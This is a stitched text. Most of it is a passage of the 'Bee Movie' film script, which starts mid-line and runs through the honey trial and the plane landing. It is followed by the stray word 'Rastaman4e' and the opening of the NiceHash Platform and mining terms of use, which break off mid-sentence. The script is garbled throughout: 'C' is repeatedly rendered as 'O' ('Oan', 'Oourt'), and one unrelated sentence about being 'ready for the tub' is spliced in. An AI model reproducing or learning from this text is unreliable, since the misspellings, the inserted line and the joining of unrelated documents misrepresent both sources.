but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that. Special thanks to SergeiK.
Rastaman4e
NICEHASH PLATFORM TERMS OF USE AND NICEHASH MINING TERMS OF SERVICE PLEASE READ THESE NICEHASH PLATFORM TERMS OF USE AND NICEHASH MINING TERMS OF SERVICE (“Terms”) CAREFULLY BEFORE USING THE THE PLATFORM OR SERVICES DESCRIBED HEREIN. BY SELECTING “I AGREE”, ACCESSING THE PLATFORM, USING NICEHASH MINING SERVICES OR DOWNLOADING OR USING NICEHASH MINING SOFTWARE, YOU ARE ACKNOWLEDGING THAT YOU HAVE READ THESE TERMS, AS AMENDED FROM TIME TO TIME, AND YOU ARE AGREEING TO BE BOUND BY THEM. IF YOU DO NOT AGREE TO THESE TERMS, OR ANY SUBSEQUENT AMENDMENTS, CHANGES OR UPDATES, DO NOT ACCESS THE PLATFORM, USE NICEHASH MINING SERVICES OR USE THE NICEHASH MINING SOFTWARE. GENERAL These Terms apply to users of the NiceHash Platform (“Platform” and NiceHash Mining Services (“Services”) which are provided to you by NICEHASH Ltd, company organized and existing under the laws of the British Virgin Islands, with registered address at Intershore Chambers, Road Town, Tortola, British Virgin Islands, registration number: 2048669, hereinafter referred to as “NiceHash, as well as “we” or “us”. ELIGIBILITY By using the NiceHash platform and NiceHash Mining Services, you represent and warrant that you: are at least Minimum Age and have capacity to form a binding contract; have not previously been suspended or removed from the NiceHash Platform; have full power and authority to enter into this agreement and in doing so will not violate any other agreement to which you are a party; are not not furthering, performing, undertaking, engaging in, aiding, or abetting any unlawful activity through your relationship with us, through your use of NiceHash Platform or use of NiceHash Mining Services; will not use NiceHash Platform or NiceHash Mining Services if any applicable laws in your country prohibit you from doing so in accordance with these Terms. We reserve the right to terminate your access to the NiceHash Platform and Mining Services for any reason and in our sole and absolute discretion. Use of NiceHash Platform and Mining Services is void where prohibited by applicable law. Depending on your country of residence or incorporation or registered office, you may not be able to use all the functions of the NiceHash Platform or services provided therein. It is your responsibility to follow the rules and laws in your country of residence and/or country from which you access the NiceHash Platform. DEFINITIONS NiceHash Platform means a website located on the following web address: www.nicehash.com. NiceHash Mining Services mean all services provided by NiceHash, namely the provision of the NiceHash Platform, NiceHash Hashing power marketplace, NiceHash API, NiceHash OS, NiceHash Mining Software including licence for NiceHash Miner, NiceHash Private Endpoint, NiceHash Account, NiceHash mobile apps, and all other software products, applications and services associated with these products, except for the provision of NiceHash Exchange Services. NiceHash Exchange Service means a service which allows trading of digital assets in the form of digital tokens or cryptographic currency for our users by offering them a trading venue, helping them find a trading counterparty and providing the means for transaction execution. NiceHash Exchange Services are provided by NICEX Ltd and accessible at the NiceHash Platform under NiceHash Exchange Terms of Service. Hashing power marketplace means an infrastructure provided by the NiceHash which enables the Hashing power providers to point their rigs towards NiceHash stratum servers where Hashing power provided by different Hashing power providers is gathered and sold as generic Hashing power to the Hashing power buyers. Hashing power buyer means a legal entity or individual who buys the gathered and generic hashing power on the Hashing power marketplace from undefined Hashing power providers. Hashing power provider means a legal entity or individual who sells his hashing power on the Hashing power marketplace to undefined Hashing power buyers. NiceHash Mining Software means NiceHash Miner and any other software available via the NiceHash Platform. NiceHash Miner means a comprehensive software with graphical user interface and web interface, owned by NiceHash. NiceHash Miner is a process manager software which enables the Hashing power providers to point their rigs towards NiceHash stratum servers and sell their hashing power to the Hashing power buyers. NiceHash Miner also means any and all of its code, compilations, updates, upgrades, modifications, error corrections, patches and bug fixes and similar. NiceHash Miner does not mean third party software compatible with NiceHash Miner (Third Party Plugins and Miners). NiceHash QuickMiner means a software accessible at https://www.nicehash.com/quick-miner which enables Hashing power providers to point their PCs or rigs towards NiceHash stratum servers and sell their 